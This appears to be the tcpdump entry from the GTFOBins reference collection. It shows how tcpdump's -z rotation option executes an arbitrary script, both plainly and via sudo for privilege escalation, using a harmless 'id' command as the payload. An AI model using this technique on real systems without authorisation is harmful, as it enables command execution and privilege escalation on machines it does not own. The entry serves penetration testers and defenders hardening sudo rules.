GTFOBins.github.io/_gtfobins/tcpdump.md

---
functions:
  execute-non-interactive:
    - code: |
        COMMAND='id > /tmp/output'
        TF=$(mktemp -u)
        echo "$COMMAND" > $TF
        chmod +x $TF
        tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
  suid-enabled:
    - code: |
        COMMAND='id > /tmp/output'
        TF=$(mktemp -u)
        echo "$COMMAND" > $TF
        chmod +x $TF
        sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
---